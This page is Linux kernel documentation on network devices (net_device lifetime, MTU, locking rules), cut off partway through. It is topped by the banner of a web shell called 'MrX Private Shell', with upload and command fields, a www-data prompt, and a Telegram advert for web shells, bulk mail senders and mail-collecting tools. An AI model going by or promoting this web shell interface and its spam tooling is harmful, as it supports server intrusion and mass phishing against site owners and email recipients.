__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.18: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Network Devices, the Kernel, and You! &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Netfilter Sysfs variables" href="netfilter-sysctl.html" />
    <link rel="prev" title="Netdev features mess and how to get out from it alive" href="netdev-features.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/networking/netdevices.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="network-devices-the-kernel-and-you">
<h1>Network Devices, the Kernel, and You!<a class="headerlink" href="#network-devices-the-kernel-and-you" title="Link to this heading">¶</a></h1>
<section id="introduction">
<h2>Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h2>
<p>The following is a random collection of documentation regarding
network devices. It is intended for driver developers.</p>
</section>
<section id="struct-net-device-lifetime-rules">
<h2>struct net_device lifetime rules<a class="headerlink" href="#struct-net-device-lifetime-rules" title="Link to this heading">¶</a></h2>
<p>Network device structures need to persist even after module is unloaded and
must be allocated with <a class="reference internal" href="kapi.html#c.alloc_netdev_mqs" title="alloc_netdev_mqs"><code class="xref c c-func docutils literal notranslate"><span class="pre">alloc_netdev_mqs()</span></code></a> and friends.
If device has registered successfully, it will be freed on last use
by <a class="reference internal" href="kapi.html#c.free_netdev" title="free_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">free_netdev()</span></code></a>. This is required to handle the pathological case cleanly
(example: <code class="docutils literal notranslate"><span class="pre">rmmod</span> <span class="pre">mydriver</span> <span class="pre">&lt;/sys/class/net/myeth/mtu</span></code>)</p>
<p><a class="reference internal" href="kapi.html#c.alloc_netdev_mqs" title="alloc_netdev_mqs"><code class="xref c c-func docutils literal notranslate"><span class="pre">alloc_netdev_mqs()</span></code></a> / <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">alloc_netdev()</span></code> reserve extra space for driver
private data which gets freed when the network device is freed. If
separately allocated data is attached to the network device
(<a class="reference internal" href="kapi.html#c.netdev_priv" title="netdev_priv"><code class="xref c c-func docutils literal notranslate"><span class="pre">netdev_priv()</span></code></a>) then it is up to the module exit handler to free that.</p>
<p>There are two groups of APIs for registering <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>.
First group can be used in normal contexts where <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> is not already
held: <a class="reference internal" href="kapi.html#c.register_netdev" title="register_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdev()</span></code></a>, <a class="reference internal" href="kapi.html#c.unregister_netdev" title="unregister_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">unregister_netdev()</span></code></a>.
Second group can be used when <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> is already held:
<a class="reference internal" href="kapi.html#c.register_netdevice" title="register_netdevice"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdevice()</span></code></a>, <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">unregister_netdevice()</span></code>, <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">free_netdevice()</span></code>.</p>
<section id="simple-drivers">
<h3>Simple drivers<a class="headerlink" href="#simple-drivers" title="Link to this heading">¶</a></h3>
<p>Most drivers (especially device drivers) handle lifetime of <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>
in context where <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> is not held (e.g. driver probe and remove paths).</p>
<p>In that case the <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a> registration is done using
the <a class="reference internal" href="kapi.html#c.register_netdev" title="register_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdev()</span></code></a>, and <a class="reference internal" href="kapi.html#c.unregister_netdev" title="unregister_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">unregister_netdev()</span></code></a> functions:</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="kt">int</span><span class="w"> </span><span class="nf">probe</span><span class="p">()</span>
<span class="p">{</span>
<span class="w">  </span><span class="k">struct</span><span class="w"> </span><span class="nc">my_device_priv</span><span class="w"> </span><span class="o">*</span><span class="n">priv</span><span class="p">;</span>
<span class="w">  </span><span class="kt">int</span><span class="w"> </span><span class="n">err</span><span class="p">;</span>

<span class="w">  </span><span class="n">dev</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">alloc_netdev_mqs</span><span class="p">(...);</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">dev</span><span class="p">)</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span>
<span class="w">  </span><span class="n">priv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">netdev_priv</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>

<span class="w">  </span><span class="cm">/* ... do all device setup before calling register_netdev() ...</span>
<span class="cm">   */</span>

<span class="w">  </span><span class="n">err</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">register_netdev</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="w">    </span><span class="k">goto</span><span class="w"> </span><span class="n">err_undo</span><span class="p">;</span>

<span class="w">  </span><span class="cm">/* net_device is visible to the user! */</span>

<span class="nl">err_undo</span><span class="p">:</span>
<span class="w">  </span><span class="cm">/* ... undo the device setup ... */</span>
<span class="w">  </span><span class="n">free_netdev</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="n">err</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span><span class="w"> </span><span class="nf">remove</span><span class="p">()</span>
<span class="p">{</span>
<span class="w">  </span><span class="n">unregister_netdev</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="w">  </span><span class="n">free_netdev</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Note that after calling <a class="reference internal" href="kapi.html#c.register_netdev" title="register_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdev()</span></code></a> the device is visible in the system.
Users can open it and start sending / receiving traffic immediately,
or run any other callback, so all initialization must be done prior to
registration.</p>
<p><a class="reference internal" href="kapi.html#c.unregister_netdev" title="unregister_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">unregister_netdev()</span></code></a> closes the device and waits for all users to be done
with it. The memory of <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a> itself may still be referenced
by sysfs but all operations on that device will fail.</p>
<p><a class="reference internal" href="kapi.html#c.free_netdev" title="free_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">free_netdev()</span></code></a> can be called after <a class="reference internal" href="kapi.html#c.unregister_netdev" title="unregister_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">unregister_netdev()</span></code></a> returns on when
<a class="reference internal" href="kapi.html#c.register_netdev" title="register_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdev()</span></code></a> failed.</p>
</section>
<section id="device-management-under-rtnl">
<h3>Device management under RTNL<a class="headerlink" href="#device-management-under-rtnl" title="Link to this heading">¶</a></h3>
<p>Registering <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a> while in context which already holds
the <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> requires extra care. In those scenarios most drivers
will want to make use of <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>’s <code class="docutils literal notranslate"><span class="pre">needs_free_netdev</span></code>
and <code class="docutils literal notranslate"><span class="pre">priv_destructor</span></code> members for freeing of state.</p>
<p>Example flow of netdev handling under <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code>:</p>
<div class="highlight-c notranslate"><div class="highlight"><pre><span></span><span class="k">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">my_setup</span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">net_device</span><span class="w"> </span><span class="o">*</span><span class="n">dev</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">  </span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">needs_free_netdev</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">my_destructor</span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">net_device</span><span class="w"> </span><span class="o">*</span><span class="n">dev</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">  </span><span class="n">some_obj_destroy</span><span class="p">(</span><span class="n">priv</span><span class="o">-&gt;</span><span class="n">obj</span><span class="p">);</span>
<span class="w">  </span><span class="n">some_uninit</span><span class="p">(</span><span class="n">priv</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">create_link</span><span class="p">()</span>
<span class="p">{</span>
<span class="w">  </span><span class="k">struct</span><span class="w"> </span><span class="nc">my_device_priv</span><span class="w"> </span><span class="o">*</span><span class="n">priv</span><span class="p">;</span>
<span class="w">  </span><span class="kt">int</span><span class="w"> </span><span class="n">err</span><span class="p">;</span>

<span class="w">  </span><span class="n">ASSERT_RTNL</span><span class="p">();</span>

<span class="w">  </span><span class="n">dev</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">alloc_netdev</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">priv</span><span class="p">),</span><span class="w"> </span><span class="s">&quot;net%d&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">NET_NAME_UNKNOWN</span><span class="p">,</span><span class="w"> </span><span class="n">my_setup</span><span class="p">);</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">dev</span><span class="p">)</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span>
<span class="w">  </span><span class="n">priv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">netdev_priv</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>

<span class="w">  </span><span class="cm">/* Implicit constructor */</span>
<span class="w">  </span><span class="n">err</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">some_init</span><span class="p">(</span><span class="n">priv</span><span class="p">);</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="w">    </span><span class="k">goto</span><span class="w"> </span><span class="n">err_free_dev</span><span class="p">;</span>

<span class="w">  </span><span class="n">priv</span><span class="o">-&gt;</span><span class="n">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">some_obj_create</span><span class="p">();</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">priv</span><span class="o">-&gt;</span><span class="n">obj</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">err</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span>
<span class="w">    </span><span class="k">goto</span><span class="w"> </span><span class="n">err_some_uninit</span><span class="p">;</span>
<span class="w">  </span><span class="p">}</span>
<span class="w">  </span><span class="cm">/* End of constructor, set the destructor: */</span>
<span class="w">  </span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">priv_destructor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">my_destructor</span><span class="p">;</span>

<span class="w">  </span><span class="n">err</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">register_netdevice</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="w">    </span><span class="cm">/* register_netdevice() calls destructor on failure */</span>
<span class="w">    </span><span class="k">goto</span><span class="w"> </span><span class="n">err_free_dev</span><span class="p">;</span>

<span class="w">  </span><span class="cm">/* If anything fails now unregister_netdevice() (or unregister_netdev())</span>
<span class="cm">   * will take care of calling my_destructor and free_netdev().</span>
<span class="cm">   */</span>

<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>

<span class="nl">err_some_uninit</span><span class="p">:</span>
<span class="w">  </span><span class="n">some_uninit</span><span class="p">(</span><span class="n">priv</span><span class="p">);</span>
<span class="nl">err_free_dev</span><span class="p">:</span>
<span class="w">  </span><span class="n">free_netdev</span><span class="p">(</span><span class="n">dev</span><span class="p">);</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</div>
<p>If <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>.priv_destructor is set it will be called by the core
some time after <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">unregister_netdevice()</span></code>, it will also be called if
<a class="reference internal" href="kapi.html#c.register_netdevice" title="register_netdevice"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdevice()</span></code></a> fails. The callback may be invoked with or without
<code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> held.</p>
<p>There is no explicit constructor callback, driver “constructs” the private
netdev state after allocating it and before registration.</p>
<p>Setting <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>.needs_free_netdev makes core call <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">free_netdevice()</span></code>
automatically after <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">unregister_netdevice()</span></code> when all references to the device
are gone. It only takes effect after a successful call to <a class="reference internal" href="kapi.html#c.register_netdevice" title="register_netdevice"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdevice()</span></code></a>
so if <a class="reference internal" href="kapi.html#c.register_netdevice" title="register_netdevice"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdevice()</span></code></a> fails driver is responsible for calling
<a class="reference internal" href="kapi.html#c.free_netdev" title="free_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">free_netdev()</span></code></a>.</p>
<p><a class="reference internal" href="kapi.html#c.free_netdev" title="free_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">free_netdev()</span></code></a> is safe to call on error paths right after <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">unregister_netdevice()</span></code>
or when <a class="reference internal" href="kapi.html#c.register_netdevice" title="register_netdevice"><code class="xref c c-func docutils literal notranslate"><span class="pre">register_netdevice()</span></code></a> fails. Parts of netdev (de)registration process
happen after <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> is released, therefore in those cases <a class="reference internal" href="kapi.html#c.free_netdev" title="free_netdev"><code class="xref c c-func docutils literal notranslate"><span class="pre">free_netdev()</span></code></a>
will defer some of the processing until <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> is released.</p>
<p>Devices spawned from <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">rtnl_link_ops</span></code> should never free the
<a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a> directly.</p>
<section id="ndo-init-and-ndo-uninit">
<h4>.ndo_init and .ndo_uninit<a class="headerlink" href="#ndo-init-and-ndo-uninit" title="Link to this heading">¶</a></h4>
<p><code class="docutils literal notranslate"><span class="pre">.ndo_init</span></code> and <code class="docutils literal notranslate"><span class="pre">.ndo_uninit</span></code> callbacks are called during net_device
registration and de-registration, under <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code>. Drivers can use
those e.g. when parts of their init process need to run under <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code>.</p>
<p><code class="docutils literal notranslate"><span class="pre">.ndo_init</span></code> runs before device is visible in the system, <code class="docutils literal notranslate"><span class="pre">.ndo_uninit</span></code>
runs during de-registering after device is closed but other subsystems
may still have outstanding references to the netdevice.</p>
</section>
</section>
</section>
<section id="mtu">
<h2>MTU<a class="headerlink" href="#mtu" title="Link to this heading">¶</a></h2>
<p>Each network device has a Maximum Transfer Unit. The MTU does not
include any link layer protocol overhead. Upper layer protocols must
not pass a socket buffer (skb) to a device to transmit with more data
than the mtu. The MTU does not include link layer header overhead, so
for example on Ethernet if the standard MTU is 1500 bytes used, the
actual skb will contain up to 1514 bytes because of the Ethernet
header. Devices should allow for the 4 byte VLAN header as well.</p>
<p>Segmentation Offload (GSO, TSO) is an exception to this rule.  The
upper layer protocol may pass a large socket buffer to the device
transmit routine, and the device will break that up into separate
packets based on the current MTU.</p>
<p>MTU is symmetrical and applies both to receive and transmit. A device
must be able to receive at least the maximum size packet allowed by
the MTU. A network device may use the MTU as mechanism to size receive
buffers, but the device should allow packets with VLAN header. With
standard Ethernet mtu of 1500 bytes, the device should allow up to
1518 byte packets (1500 + 14 header + 4 tag).  The device may either:
drop, truncate, or pass up oversize packets, but dropping oversize
packets is preferred.</p>
</section>
<section id="struct-net-device-synchronization-rules">
<h2>struct net_device synchronization rules<a class="headerlink" href="#struct-net-device-synchronization-rules" title="Link to this heading">¶</a></h2>
<dl>
<dt>ndo_open:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process</p>
</dd>
<dt>ndo_stop:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process
Note: <a class="reference internal" href="kapi.html#c.netif_running" title="netif_running"><code class="xref c c-func docutils literal notranslate"><span class="pre">netif_running()</span></code></a> is guaranteed false</p>
</dd>
<dt>ndo_do_ioctl:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore.</p>
<p>This is only called by network subsystems internally,
not by user space calling ioctl as it was in before
linux-5.14.</p>
</dd>
<dt>ndo_siocbond:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process</p>
<p>Used by the bonding driver for the SIOCBOND family of
ioctl commands.</p>
</dd>
<dt>ndo_siocwandev:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process</p>
<p>Used by the drivers/net/wan framework to handle
the SIOCWANDEV ioctl with the if_settings structure.</p>
</dd>
<dt>ndo_siocdevprivate:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process</p>
<p>This is used to implement SIOCDEVPRIVATE ioctl helpers.
These should not be added to new drivers, so don’t use.</p>
</dd>
<dt>ndo_eth_ioctl:</dt><dd><p>Synchronization: <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">rtnl_lock()</span></code> semaphore. In addition, netdev instance
lock if the driver implements queue management or shaper API.
Context: process</p>
</dd>
<dt>ndo_get_stats:</dt><dd><p>Synchronization: RCU (can be called concurrently with the stats
update path).
Context: atomic (can’t sleep under RCU)</p>
</dd>
<dt>ndo_start_xmit:</dt><dd><p>Synchronization: __netif_tx_lock spinlock.</p>
<p>When the driver sets dev-&gt;lltx this will be
called without holding netif_tx_lock. In this case the driver
has to lock by itself when needed.
The locking there should also properly protect against
set_rx_mode. WARNING: use of dev-&gt;lltx is deprecated.
Don’t use it for new drivers.</p>
<dl class="simple">
<dt>Context: Process with BHs disabled or BH (timer),</dt><dd><p>will be called with interrupts disabled by netconsole.</p>
</dd>
</dl>
<p>Return codes:</p>
<ul class="simple">
<li><p>NETDEV_TX_OK everything ok.</p></li>
<li><p>NETDEV_TX_BUSY Cannot transmit packet, try later
Usually a bug, means queue start/stop flow control is broken in
the driver. Note: the driver must NOT put the skb in its DMA ring.</p></li>
</ul>
</dd>
<dt>ndo_tx_timeout:</dt><dd><p>Synchronization: netif_tx_lock spinlock; all TX queues frozen.
Context: BHs disabled
Notes: <a class="reference internal" href="kapi.html#c.netif_queue_stopped" title="netif_queue_stopped"><code class="xref c c-func docutils literal notranslate"><span class="pre">netif_queue_stopped()</span></code></a> is guaranteed true</p>
</dd>
<dt>ndo_set_rx_mode:</dt><dd><p>Synchronization: netif_addr_lock spinlock.
Context: BHs disabled</p>
</dd>
<dt>ndo_setup_tc:</dt><dd><p><code class="docutils literal notranslate"><span class="pre">TC_SETUP_BLOCK</span></code> and <code class="docutils literal notranslate"><span class="pre">TC_SETUP_FT</span></code> are running under NFT locks
(i.e. no <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> and no device instance lock). The rest of
<code class="docutils literal notranslate"><span class="pre">tc_setup_type</span></code> types run under netdev instance lock if the driver
implements queue management or shaper API.</p>
</dd>
</dl>
<p>Most ndo callbacks not specified in the list above are running
under <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code>. In addition, netdev instance lock is taken as well if
the driver implements queue management or shaper API.</p>
</section>
<section id="struct-napi-struct-synchronization-rules">
<h2>struct napi_struct synchronization rules<a class="headerlink" href="#struct-napi-struct-synchronization-rules" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>napi-&gt;poll:</dt><dd><dl class="simple">
<dt>Synchronization:</dt><dd><p>NAPI_STATE_SCHED bit in napi-&gt;state.  Device
driver’s ndo_stop method will invoke <a class="reference internal" href="kapi.html#c.napi_disable" title="napi_disable"><code class="xref c c-func docutils literal notranslate"><span class="pre">napi_disable()</span></code></a> on
all NAPI instances which will do a sleeping poll on the
NAPI_STATE_SCHED napi-&gt;state bit, waiting for all pending
NAPI activity to cease.</p>
</dd>
<dt>Context:</dt><dd><p>softirq
will be called with interrupts disabled by netconsole.</p>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="netdev-instance-lock">
<h2>netdev instance lock<a class="headerlink" href="#netdev-instance-lock" title="Link to this heading">¶</a></h2>
<p>Historically, all networking control operations were protected by a single
global lock known as <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code>. There is an ongoing effort to replace this
global lock with separate locks for each network namespace. Additionally,
properties of individual netdev are increasingly protected by per-netdev locks.</p>
